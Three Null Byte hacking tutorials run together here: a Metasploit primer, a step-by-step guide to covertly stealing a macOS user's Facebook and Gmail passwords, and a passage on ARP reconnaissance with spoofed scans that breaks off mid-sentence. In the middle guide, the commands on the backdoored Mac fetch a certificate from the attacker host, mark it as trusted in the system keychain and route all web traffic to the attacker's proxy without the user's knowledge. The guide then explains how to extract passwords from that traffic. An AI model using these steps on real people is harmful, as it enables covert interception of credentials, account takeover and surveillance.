Devices
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview) Β« Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!I have written many tutorials on hacking usingMetasploit, includingleaving no evidence behindandexploring the inner architecture. Also, there are my Metasploit cheat sheets forcommandsandhacking scripts.With this guide, I'm starting a sequential and cumulativeseriesfor learning and using Metasploit. This first part will cover the very basics of Metasploit for those of you who are new to Null Byte, and as a refresher for those of you who are not. With that in mind, this will be quick and dirty first lesson on using one of the most powerful hacking platforms on planet Earth.Metasploit Background & InstallationMetasploit was developed by HD Moore as an open source project in 2003. Originally written in Perl, Metasploit was completely rewritten in Ruby in 2007. In 2009, it was purchased by Rapid7, an IT security company that also produces the vulnerability scanner Nexpose.Metasploit is now in version 4.9.3, which is included in ourKali Linux. It's also built intoBackTrack. For those of you using some other version ofLinuxor Unix (including Mac OS), you can download Metasploit fromRapid7's website.For those of you using Windows, you can also grab it from Rapid7, but I do not recommend running Metasploit in Windows. Although you can download and install it, some of the capabilities of this hacking framework do not translate over to the Windows operating system, and many of my hacks here on Null Byte will not work on the Windows platform.Metasploit now has multiple products, including Metasploit Pro (the full commercial version) and the Community edition that is built into Kali and remains free. We will focus all of our efforts on the Community edition, as I am well aware that most of you will not be buying the $30,000 Pro edition.Ways to Use MetasploitMetasploit can be accessed or used in multiple ways. The most common method, and the one I use, is theinteractive Metasploit console. This is the one that is activated by typingmsfconsoleat the command line in Kali. There are several other methods as well.MsfcliFirst, you can use Metasploit from the command line, or inmsfclimode. Although it appears that when we are in the console that we are using the command line, we are actually using an interactive console with special keywords and commands. From the msfcli, we ARE actually using a Linux command line.We can get the help screen for msfcli by typing:kali > msfcli -hNow to execute an exploit from the msfcli, the syntax is simply:kali > msfcli <the exploit> payload = <the payload> rhost = <IP> lhost = <IP> EWhereEis short for execute.In my tutorial oncreating payloads to evade AV software, we are using themsfencodeandmsfpayloadcommand in the command line (msfcli) mode.The drawback to using the msfcli is that it is not as well-supported as the msfconsole, and you are limited to a single shell, making some of the more complex exploits impossible.ArmitageIf you want to use Metasploit with a GUI (graphical user interface), at least a couple of options are available. First, Raphael Mudge has developed the Armitage (presumably a reference to a primary character in the seminal cyberhacking science fiction work,Neuromancerβ€”a must read for any hacker with a taste for science fiction).To start Armitage in Kali, simply type:kali > armitageIf Armitage fails to connect, try these alternative commands:kali > service start postgresqlkali > service start metasploitkali > service stop metasploitArmitage is a GUI overlay on Metasploit that operates in a client/server architecture. You start Metasploit as a server and Armitage becomes the client, thereby giving you full access to Metasploit's features through a full featuredβ€”thought not completely intuitiveβ€”GUI. If you really need a GUI to feel comfortable, I don't want to discourage you from using Armitage, but mastering the command line is a necessity for any self-respecting hacker.ModulesMetasploit has six different types of modules. These are:payloadsexploitspostnopsauxiliaryencodersPayloadsare the code that we will leave behind on the hacked system. Some people call theselisteners, rootkits, etc. In Metasploit, they are referred to as payloads. These payloads include command shells,Meterpreter, etc. The payloads can be staged, inline, NoNX (bypasses the No execute feature in some modern CPUs), PassiveX (bypasses restricted outbound firewall rules), and IPv6, among others.Exploitsare the shellcode that takes advantage of a vulnerability or flaw in the system. These are operating system specific and many times, service pack (SP) specific, service specific, port specific, and even application specific. They are classified by operating system, so a Windows exploit will not work in a Linux operating system and vice versa.Postare modules that we can use post exploitation of the system.Nopsare short forNoOPerationS. In x86 CPUs, it is usually indicated by the hex 0x90. It simply means "do nothing". This can be crucial in creating a buffer overflow. We can view the nops modules by using theshowcommand.msf > show nopsAuxiliaryincludes numerous modules (695) that don't fit into any of the other categories. These include such things are fuzzers, scanners, denial of service attacks, and more. Check outmy article on auxiliary modulesfor more in-depth information for this module.Encodersare modules that enable us to encode our payloads in various ways toget past AVan other security devices. We can see the encoders by typing:msf > show encodersAs you can see, there are numerous encoders built into Metasploit. Once of my favorites isshikata_ga_nai, which allows us to to XOR the payload to help in making it undetectable by AV software and security devices.SearchingEver since Metasploit 4 was released, Metasploit has added search capabilities. Previously, you had to use the msfcli andgrepto find the modules you were looking, but now Rapid7 has added the search keyword and features. The addition of the search capability was timely as Metasploit has grown dramatically, and simple eyeball searches and grep searches were inadequate to search over 1,400 exploits, for instance.The search keyword enables us to do simple keyword searches, but it also allows us to be a bit more refined in our search as well. For instance, we can define what type of module we are searching for by using the type keyword.msf > search type:exploitWhen we do so, Metasploit comes back with all 1,295 exploits. Not real useful.If we know we want to attack a Sun Microsystems machine running Solaris (Sun's UNIX), we may want may to refine our search to only solaris exploits, we can then useplatformkeyword.msf > search type:exploit platform:solarisNow we have narrowed our search down to only those exploits that will work against a Solaris operating system.To further refine our search, let's assume we want to attack the Solaris RPC (sunrpc) and we want to see only those exploits attacking that particular service. We can add the keyword "sunrpc" to our serach like below:msf > search type:exploit platform:solaris sunrpcAs you can see, this narrows are results down to just five exploit modules!Metasploit has many capabilities that are still untapped by us, so I will continue thisMetasploit seriesto explore the simplest to the most complex. In the meantime, try some of my Metasploit hacks outlined in many Null Byte posts and keep coming back to this series on Metasploit to learn to hack like a pro!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaWeakNet LabsRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:Simplify Payload Creation with MSFPC (MSFvenom Payload Creator)News:What to Expect from Null Byte in 2015Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker Training
How to Hack Facebook & Gmail Accounts Owned by MacOS Targets Β« Null Byte :: WonderHowTo
It only takes a few commands to manipulate a MacBook's secure HTTPS traffic and pluck login passwords out of the encrypted data. Let's take Facebook and Gmail hacking to the next level by intercepting Safari and Google Chrome web traffic in real time.Both Facebook and Gmail have exceptional web application security practices. They quickly blacklist IP addresses for performing brute-force attacks and lock accounts after only a few failed login attempts.Furthermore, successful logins made from new IP addresses or different web browsers will trigger these websites to further authenticate the login; This could mean matching the target's childhood friends to their Facebook profile pictures or providing a one-time use code sent to the target's smartphone.In truth, it's usually going to be easier to compromise a target's operating system to get credentials than it is to guess a target's user passwords.Don't Miss:How to Hack Mojave 10.14 with a Self-Destructing PayloadThis article specifically focuses on learning the Facebook and Gmail passwords of a target macOS user on a shared Wi-Fi network. To follow along, readers will need togain access to the target's MacBookto perform this attack. This can be accomplished using various methods; With a few moments of physical access, the MacBook can becompromised using a single-user mode attack. Alternatively,social engineeringthe target into opening atrojanized file on a USB drivemay be optimal.Understanding the AttackEssentially, we'll be forcing the target's Safari or Chrome browser to send allHTTP and HTTPS trafficto aBurp Suite proxythat we control. Upon receiving the web traffic, Burp will be able to interpret all HTTPS data in real time. Normally, such activity isn't possible, but we'll covertly configure the target's operating system in such a way that it trusts the SSL certificate used by our proxy.For readers who have configured their browser to use a Burp proxy before, this is exactly what we're doing to the target's browsers β€” but entirely without their knowledge.Don't Miss:Attack Web Applications with Burp Suite & SQL InjectionWe'll start by setting up Burp in Kali Linux to intercept traffic. Then, from our backdoor, we'lldownload and import the Burp certificateinto the target's Keychain so that their Safari or Chrome browser doesn't alert them to any suspicious certificate activity. Finally, we'll configure the MacBook to send all HTTP and HTTPS traffic to our Burp proxy.Our attack requires root privileges as it's not possible to import certificates into the macOS Keychain as a normal user. Root can be achieved by physically backdooring the target MacBook or by performing privilege escalation attacks, such aspassword phishing, usingEmpiretodump the target's password hash, ordumping their browser cacheand perhaps discovering they often reuse passwords.Don't Miss:How to Hack a MacBook with One Ruby CommandStep 1: Install Burp Suite (If Necessary)Depending on your version ofKali Linux, Burp Suite may not be already installed. To install Burp, use the belowapt-getcommands.apt-get update && apt-get install burpsuiteStep 2: Set Up Burp SuiteOpen Burp, click on the "Proxy" tab, then the "Options" tab, and click the "Edit" button underProxy Listeners. Enter your desired bind port where indicated; I'm using 9999 because it's easy to remember, however, this number is arbitrary.Next, specify the address to listen on; This attack is intended for a local network, so your 192.168.1.xx address should be used. I'm performing this in an internal lab so my attacker's local IP address is 10.42.0.1. If in doubt, using the "All interfaces" option should work instead.Click on "OK" to save the changes. Afterward, navigate back to the "Intercept" tab and ensure "Intercept is off." Disabling this will allow the target's web traffic to flow without interruption while continuing to use our device as a proxy.Don't Miss:How to Secretly Livestream Someone's MacBook ScreenStep 3: Download the Burp CertificateUtilizing our backdoor into the MacBook, we'll first need to download the Burp certificate from our Burp proxy. Use the belowcurlcommand to do this.curl -s --insecure --proxy http://10.42.0.1:9999 http://burp/cert -o /tmp/burp.derIn the above command, curl will silently (-s) download the certificate from our Kali machine. The--proxyargument is required because we're instructing curl to use the newly configured Burp listener to fetch the certificate; This certificate isn't trusted by curl (or any web browser) by default, so the--insecureargument is required to ignore warnings in the output. Finally, the Burp certificate is saved (-o) to the/tmpdirectory with the file nameburp.der. The .der file extension is merely the certificate's default file format and shouldn't be changed.Step 4: Import the Burp CertificateNow, import the Burp certificate that was downloaded into the target's Keychain using the belowsecuritycommand.security add-trusted-cert -k /Library/Keychains/System.keychain -d /tmp/burp.derSecurity will add (add-trusted-cert) and fully trust the certificate (-d /tmp/burp.der) into the macOS primary system Keychain (-k). All we have to do now is configure macOS to send us all of the target's web traffic.Step 5: Configure the MacBook Proxy SettingsAt this point, we can use our backdoor to silently configure the target MacBook to send us all of its HTTP and HTTPS web traffic.Networksetupis a command line tool used to configure network settings in the macOS System Preferences. Using networksetup via command line is much like making changes directly to the Network preferences in macOS as if we were sitting in front of the MacBook.Use the following networksetup command with the-listallnetworkservicesargument to display the available services./usr/sbin/networksetup -listallnetworkservices iPhone USB Wi-Fi Bluetooth PAN Thunderbolt BridgeNotice the "Wi-Fi" service here. This is the service we'll most likely need to modify. If the target is using an external wireless adapter, it may appear here as well. In that case, an attacker would need to modify those proxy settings instead.Don't Miss:How to Remotely Eavesdrop Using Anyone's MacBook MicrophoneThe below-getwebproxy(HTTP) and-getsecurewebproxy(HTTPS) arguments can be used to view any currently existing proxy settings the target may have configured themselves./usr/sbin/networksetup -getwebproxy "Wi-Fi" Enabled: No Server: Port: 0 Authenticated Proxy Enabled: 0/usr/sbin/networksetup -getsecurewebproxy "Wi-Fi" Enabled: No Server: Port: 0 Authenticated Proxy Enabled: 0As we can see, both HTTP and HTTPS proxies are disabled. This is a good thing because it means the target has likely never changed their proxy settings and won't think to look there if applications start acting strangely.To force the target's HTTP and HTTPS web traffic to route through our Burp proxy, use the below commands./usr/sbin/networksetup -setwebproxy "Wi-fi" 10.42.0.1 9999 /usr/sbin/networksetup -setsecurewebproxy "Wi-fi" 10.42.0.1 9999Remember to change the attacker's IP address (10.42.0.1) to your local network address. If you opted to use a port number other than 9999, be sure to change that in the above commands as well. The newly configured proxy settings will take effect immediately.Step 6: Capture Facebook PasswordsBack in Burp Suite, navigate to the "HTTP history" tab to view the target's web traffic in real time. Pay close attention toPOST requestsfound in theMethodcolumn, as they will hold the most compromising data. For example, the Facebook email address and password are shown in the below screenshot.The target's email (target@email.com) and their password are very easily identified thanks to Facebook's clearly defined "email=" and"pass=" parameters.Step 7: Capture Gmail PasswordsHowever, websites like Gmail are more difficult to manage β€” especially when the target is using a strong password that contains many special characters. Special characters are automatically encoded by our web browsers, so a password is much more difficult to spot within a wall of encoded gibberish (shown below).Example password: g$FR3eDW&ujYH6I{*5aaEncoded into: g%24FR3eDW%26ujYH6I%7B*%5D5aaAs we can see, it's like trying to find a needle in a haystack. The trick is to isolate the problem. At the time of this writing, Gmail stores the user's encoded password in the "f.req=" parameter (shown below).Highlight the entire parameter, and copy the text. Then, open the "Decoder" tab in Burp and paste the encoded text into the top window. Click the "Decode as" button, and select the "URL" option.Don't Miss:How to Install a Persistent Empire Backdoor on a MacBookThe bottom window will now show the decoded text in a slightly more readable format. Copy the decoded text and paste it into your preferred text editor (Gedit, Geany, etc.).We can see the data is separated by many commas (,) in an array-like format. In the case of Gmail, the password is located in quotes between the eighth and ninth commas (shown below).Facebook and Gmail are just two examples. The parameters containing email addresses and passwords will likely be different for each login we intercept. This is especially true for the top 100 websites that handle authentication differently and feature state-of-the-art security practices. Readers are encouraged to test this attack against their target website (if Facebook isn't your goal) to learn how it handles login parameters to make locating passwords easier.Step 8: Disable Proxying on the Target MacBookWhen you're done performing the attack, remember to disable the previously configured proxy settings. Otherwise, the target will continue to send their web traffic to your IP address long after you've disconnected from the Wi-Fi network. Such activity will likely arouse suspicion as the target won't be able to access the internet without your Burp proxy.To disable the proxy settings on the target MacBook, use the below networksetup commands./usr/sbin/networksetup -setwebproxystate "Wi-fi" off /usr/sbin/networksetup -setsecurewebproxystate "Wi-fi" offImproving the AttackThere are quite a view caveats and areas this attack can be improved.Option 1: Remote Hacking with MitmproxyAs an alternative,Mitmproxycan be used tointercept, inspect, modify, and replay web trafficmuch like Burp. While Burp is more developed and fully featured, Mitmproxy has a command line interface capable of easily running onvirtual private server. The use of a VPS would allow an attacker to intercept the target's web traffic as they move between different Wi-Fi networks.Option 2: Firefox WarningConfiguring macOS to use the Burp proxy will also force Firefox to proxy all of its requests to the attacker's device. However, unlike Safari and Chrome, importing the Burp certificate into the macOS Keychain doesn't affect Firefox; This is because Firefox independently validates certificates and doesn't use the macOS Keychain. If the target uses Safari or Chrome and Firefox concurrently, they will likely notice the suspicious activity. Below is an example of Firefox detecting the Burp certificate.Option 3: Other Apps Configured to Use the macOS ProxyLike Firefox, applications such as Spotify, Skype, Opera web browser, VLC, and Thunderbird may also validate certificates without using of the macOS Keychain. This could cause the applications to notify the target user of suspicious activity or break entirely.Unfortunately, I didn't get around to testing popular third-party applications after configuring the Burp proxy. Readers are encouraged to continue this research and find out for themselves if such applications are affected by the proxy before performing this attack in real scenarios.Option 4: Custom SSL CertificatesIn this guide, we learned to use the default SSL certificate automatically generated by Burp Suite. If a target user inspects the certificate in their Safari or Chrome browser, they'll notice the "PortSwigger CA" certificate (shown below). PortSwigger, creator of Burp Suite, is clearly the issuer of this certificate, so this would be an immediate red flag. Creating a unique certificate with a convincing domain name might actually prevent the target from identifying the fraudulent certificate.Don't Miss:How to Hack 200 Online User Accounts in Less Than 2 HoursHow to Protect Yourself from Keychain & SSL-Based AttacksThere isn't an easy solution here. Antivirus software won't flag the imported Burp certificate as suspicious so it's up to us to regularly monitor our Keychain for unusual activity.Furthermore, if an attacker has root privileges and is importing certificates into your operating system β€”you have bigger issues to deal with. Identifying an attacker on your system can be extremely difficult. The below solutions may help, however.Tip 1: Inspect Your KeychainWe can't rely on popular antivirus software to police our certificates. Keychain can be opened by searching for "keychain" in Spotlight. Don't be afraid to look around. Certificate details can be expanded and analyzed. If something wasn't placed there by you, don't be alarmed as it could've been by a legitimate application installed in the past.For certificates we're unsure about, we can Google them and/or inquire in support communities like theofficial Apple support community,Apple StackExchange, andInformation Security StackExchange.Tip 2: Inspect Your Proxy SettingsThe proxy settings are a bit trickier to locate. Search for "proxy" using Spotlight, then click on the "Advanced" button. Then, click the "Proxies" tab and highlight the "Web Proxy (HTTP)" and "Secure Web Proxy (HTTPS)" tabs. If you didn't set these proxies yourself, it should be safe to uncheck them and click the "OK" button.Tip 3: Inspect Your Browser CertificatesBefore logging into websites, it's usually a good idea to inspect the SSL certificate. This can be done in Safari and Chrome by clicking on the lock icon in the URL bar, then the "Show Certificate" or "Certificate" button, respectively. This button will open a new layover window with the certificate details. Click the "Details" option, and scroll down to theSHA-256andSHA-1fingerprints at the bottom of the certificate.Now, using an additional device (like another laptop or smartphone), inspect the website certificate again and compare the fingerprints β€” which should match exactly. If the fingerprints don't match between all of your devices, this could be a sign of fraudulent certificates in effect.Tip 4: Inspect Your Web TrafficWiresharkis an excellent tool to identify suspicious traffic originating from your machine. If an attacker has established a backdoor, they will likely be usingNetcator Python to create TCP connects between you and their server(s) at set intervals. In the below screenshot, we can see the attacker (10.42.0.1) issuing commands to the target MacBook (10.42.0.98) on port 4444.Going Beyond Facebook & Gmail HackingWhile this article used Facebook and Gmail as examples, manipulating a MacBook's web traffic in such a way will, in fact, allow an attacker to intercept all HTTPS traffic for every single website visited by the target. This means Amazon, Twitter, Instagram, Yahoo, and bank logins will be intercepted and immediately compromised β€” even if the target is already logged in.I hope this tutorial inspired some readers to think differently about post-exploitation. HTTPS-based attacks are considered, by some, to be among the highest level of hacking. If we can continue to find ways of circumventing encryption, targets will have no way of defending themselves against such attacks. There's no telling how many network-based attacks can be deployed where SSL protections aren't an obstacle.Follow me and hit me up on Twitter@tokyoneon_or leave questions and comments below if you have them.Don't Miss:How to Hack Mojave 10.14 with a Self-Destructing PayloadFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null BtyeRelatedHacking macOS:How to Hack a Mac Password Without Changing ItHow To:Increase Attachment Size for Secondary Email Accounts in the Gmail Android AppHow To:See If Anyone's Hacked into Your Dropbox, Facebook, or Gmail AccountsHow To:Keep Work Emails from Invading Your Free TimeHow To:The Ultimate Guide to Hacking macOSHow To:You've Probably Let Several Apps Read Your Gmail β€” Here's How to See & Delete ThemHack Like a Pro:The Ultimate Social Engineering HackAdvanced Phishing:How to Inject Meetings into Anyone's Google CalendarHow To:Grant Other People Access to Your Gmail Account Without Sharing Your PasswordHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppNews:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesGmail 101:How to Send & Receive Money with Android's Default Email AppHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)How To:How Google Uses Your Data to Improve Your Gmail ExperienceHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHow To:Download Any TikTok Video on Your Phone β€” Even if They're Blocked from SavingNews:Gmail Introduces Gmailify, a Better Way to Manage Your Non-Gmail Email AccountsProtonMail 101:How to Change Your Display Name That Shows Up in EmailsHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)News:Pinterest Takes Steps to Hack-Proof Your AccountHow To:Find Anyone's Private Phone Number Using FacebookNews:Should Kids Be Allowed to Use Facebook and Google+?How To:Create a Gmail or Google Account Without a Google+ ProfileHow To:Make a Gmail Notifier in PythonNews:Linking His Twitter Account to His Facebook AccountHow To:Update to the New Gmail Look (And See What's Changed)News:Get YouTube's New Layout Today with a Simple JavaScript HackHow To:Get Your Suspended Google+ Profile ReinstatedNews:Should Google+ Require You to Use Your Real Name?News:Tips and Tricks for GmailHow To:Switch Accounts in Google Apps with One SwipeHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device
How to Use & Abuse the Address Resolution Protocol (ARP) to Locate Hosts on a Network Β« Null Byte :: WonderHowTo
When joining a new network, computers use the Address Resolution Protocol to discover the MAC address of other devices on the same network. A hacker can take advantage of ARP messages to silently discover the MAC and IP address of network devices or actively scan the network with spoofed ARP requests.Why Do We Need ARP & What Does It Do?For devices to communicate on a network, they need to be able to link two important pieces of information. The first is an IP address, which you can think of like a parking space that's available on a network. The router checks to see which space is available at any given time and assigns an IP address that isn't being used to any device that connects to the network.Because a different space might be available at different times, your IP address on a network may be different on any given day. Your IP address will also change each time you join a new Wi-Fi network, as the router behind that network will assign you an IP address according to however the network was set up.Don't Miss:Tactical Nmap for Beginner Network ReconnaissanceThe second piece of information needed to deliver information across a network is a MAC address. A MAC address is like the license plate of a vehicle and stays with your device the same way. While your IP address changes depending on the network you're connected to, your MAC address stays the same. Like the license plate of a vehicle, a MAC address remains unchanged as it's assigned different parking spaces on networks throughout the day.In our analogy of the vehicle parking in different parking spaces, we would need two pieces of information to locate our vehicle at any given time. The first would be a unique description of the vehicle, like the license plate, or MAC address, so that we know when we find it. The second is the parking space, or IP address, the vehicle is currently assigned, allowing us to both physically locate and verify we have the correct vehicle within all the possible spaces it could occupy.The MAC and IP address of devices on the network are linked together in a table called an ARP cache that's used to route messages across a network. To populate this cache, computers request the MAC address of other devices assigned a particular IP address on the network by sending them an ARP request. While all devices on a network receive and process these requests, only devices with the matching IP address will reply with their MAC.Don't Miss:Get Started Writing Your Own NSE Scripts for NmapARP requests are how computers on a network automatically request each other's IP and MAC address information. While essential for being able to communicate with other devices on a network, they can also be abused due to the fact that anyone can send an ARP request and include false information.ARP for ReconnaissanceTo understand why ARP is useful for recon, we can take a look at ARP requests inWireshark. In the capture below, I've listened in on traffic in public for about 60 seconds to discover ARP requests from local devices. These requests are incredibly simple, but provide the background information needed for the network to function.In these requests, we can see the simplified version of the message spelled out. Each request asks "Who is at this IP address?" and lists an IP address to reply to with the information requested. Whichever device is at that IP address replies with its MAC address, allowing an attacker to sit back and passively use ARP to identify which device is at a particular IP address. Moreover, MAC addresses can be used to look up the manufacturer of the device, meaning we can also start to guess about what kind of device is residing at that IP address.Looking at the structure of the ARP request in Wireshark, you can see that while there is a sender IP address specified, the target MAC address is set to 00:00:00:00:00:00. This is the broadcast address, meaning that all devices on the network will receive and process this request, but only reply if the "target IP address" of 192.168.43.132 matches that of the device receiving the request.We can use ARP requests to scope out a network in one of two ways, active scanning or passive discovery.Active vs. Passive ReconFor a hacker or red team exploring a network, active scanning can easily lead to being discovered. One of the safest ways to avoid discovery is to not do things that are clearly associated with attacks, like aggressive scanning of networks using tools that generates lots of suspicious traffic. ARP can be a gold mine when it comes to avoiding discovery in this way, and it can be used to locate nearly every device on a network without running a single scan.If the risk of discovery isn't too high, more active ARP manipulation can allow a hacker to map, reroute, and even disable a network in a matter of minutes. In the first phase of the attack, a hacker can send out ARP requests to every possible IP address on the network. After getting a list of every device out there, the hacker can send ARP replies to trick any device on the network into assigning the attacker's MAC address to the router's IP address, accidentally sending traffic meant to the router to the attacker's device instead.Don't Miss:Easily Detect CVEs with Nmap ScriptsThe hacker can either forward this traffic on to the router while sniffing or modifying the data that passes through or he or she can drop the traffic entirely. If the traffic is dropped, the device targeted will be cut off from the network, allowing the hacker to selectively capture the data connection of any device they discover by sending forged ARP replies.In this example, we'll explore two tools to discover devices with ARP that use both active and passive discovery.What You'll NeedTo follow this guide,Kali Linuxis the easiest system to use. You may be able to use these tools on other Linux systems, but I haven't tested them on anything besides Kali.You'll also need an Ethernet or Wi-Fi connection to sniff, although this will not work if you try in a public place that has a router which restricts you to your ownsubnet. If it does, the only ARP information you'll be able to obtain through active scanning will be the MAC address of the router.You should also note that you will needthe password to the networkif you're using a Wi-Fi connection. You can't do this from the outside of a network, you need the ability to send ARP messages on the network for active scanning or listening to other traffic.Recommended on Amazon:'IP Subnetting - From Zero to Guru' by Paul BrowningStep 1: Connect to the NetworkOnce you connect to a wired or wireless network, your computer will begin storing ARP information in an ARP cache. This is stored in the memory of your computer and gets added to every time an ARP reply is received to update your computer's address book of which devices are on the network and what their IP and MAC address are.You can access the information your computer has saved about your current network by opening a terminal window and typingarp -ato see your ARP cache.arp -a_gateway (192.168.43.1) at b2:72:bf:ee:15:42 [ether] on wlan0To start, I only see the MAC address and IP of the default gateway, which is the router. If you need to quickly find the router, this is a great way of doing so.Already, this gives us some useful information. The default gateway is at 192.168.43.1, so in order to impersonate the router, we could send an ARP reply to any device saying our MAC address is at that IP address.Without running any scans, let's see what we can learn about the network and which IP addresses are occupied by opening Wireshark and looking at ARP requests flowing across the network.Step 2: Open WiresharkThe first step to discovering devices on the same network is to simply listen in on the ARP requests that are automatically broadcast over the network. After opening Wireshark, select thenetwork adapterconnected to the network you want to monitor, and click the shark fin icon to start capturing.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019Make sure to click "Enable promiscuous mode on all interfaces" in Capture –> Options –> Input if it isn't checked. This allows you to receive packets even if they aren't addressed to your device. To filter out packets that aren't ARP requests, typearpinto the display filter.So what are we seeing? The router is asking a range of IP addresses for their MAC address to see if a device is connected. We may not be seeing all of the replies, but we can see that our device is replying to the ARP requests by providing its MAC address. We may start to see replies answered, but to take matters into our own hands, we can send some ARP messages of our own.Step 3: Run an ARP ScanARP-scan is an extremely simple tool that allows us to craft ARP messages to discover devices on a network. It should be installed by default on Kali, but if you don't have it, you can install it withapt install arp-scan.In a terminal window, you can run the most simple ARP scan by typing the following, then watch the results in Wireshark. The commandarp-scan -lscans the local network even if we don't know the network range.arp-scan -lInterface: wlan0, datalink type: EN10MB (Ethernet) Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.0.2 e8:11:32:dc:39:80 Samsung Electronics Co.,Ltd 192.168.0.1 40:70:09:7a:64:97 ARRIS Group, Inc. 192.168.0.5 00:09:1b:0c:62:0f Digital Generation Inc. 192.168.0.8 d4:95:24:c2:36:27 Clover Network, Inc. 192.168.0.6 10:8e:e0:ef:5d:f2 (Unknown) 192.168.0.11 3c:dc:bc:05:77:d4 (Unknown) 6 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.5: 256 hosts scanned in 2.859 seconds (89.54 hosts/sec). 6 respondedIf we do know the network range, we can also use the commandarp scan 192.168.0.0/24to do the same or limit how many IP addresses we're scanning.In Wireshark, we can see the replies that have given us this information.This is a bit obvious though, isn't it? These packets are addressed to us, so it's pretty obvious to anyone looking at the packets that it's us running an ARP scan in an attempt to locate devices on the network. If that's not part of our job, this activity could get our MAC address blacklisted.If we look at the packets we intercepted, they're addressed to us. So how can we hide this?By adding the-sflag, we can specify a fake source for our ARP scan. This means we can pretend someone else is doing the ARP scan! Because we're not using our real MAC address, it means we won't be the MAC address on the packets being sent.To try this out, let's try to blend in with the ARP requests the router keeps sending. Using the router's IP address of 192.168.0.1, we'll do an ARP scan with the-ssource flag and-vverbose flag to display more output.arp-scan -l -s 192.168.0.1 -vInterface: wlan0, datalink type: EN10MB (Ethernet) Using 192.168.0.0:255.255.255.0 for localnet Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.0.2 e8:11:32:dc:39:80 Samsung Electronics Co.,Ltd 192.168.0.5 00:09:1b:0c:62:0f Digital Generation Inc. 192.168.0.6 10:8e:e0:ef:5d:f2 (Unknown) --- Pass 1 complete 192.168.0.8 d4:95:24:c2:36:27 Clover Network, Inc. 192.168.0.11 3c:dc:bc:05:77:d4 (Unknown) 192.168.0.7 50:33:8b:68:2d:73 (Unknown) --- Pass 2 complete 6 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.5: 256 hosts scanned in 2.551 seconds (100.35 hosts/sec). 6 respondedAwesome! We've spoofed the router and discovered other devices on the network by sending ARP requests on behalf of the router. But we used our MAC address rather than the router's MAC address. Does it matter? Let's look at Wireshark.Wireshark has discovered what we're doing and ratted us out! Because our MAC address was used with another IP address on the network, Wireshark knows something fishy is going on and flags this as suspicious behavior.Instead, we can use an IP address that isn't currently in use to hide this behavior. If we run the same scan with an IP address close to the end of the range of possible IP addresses on the network, 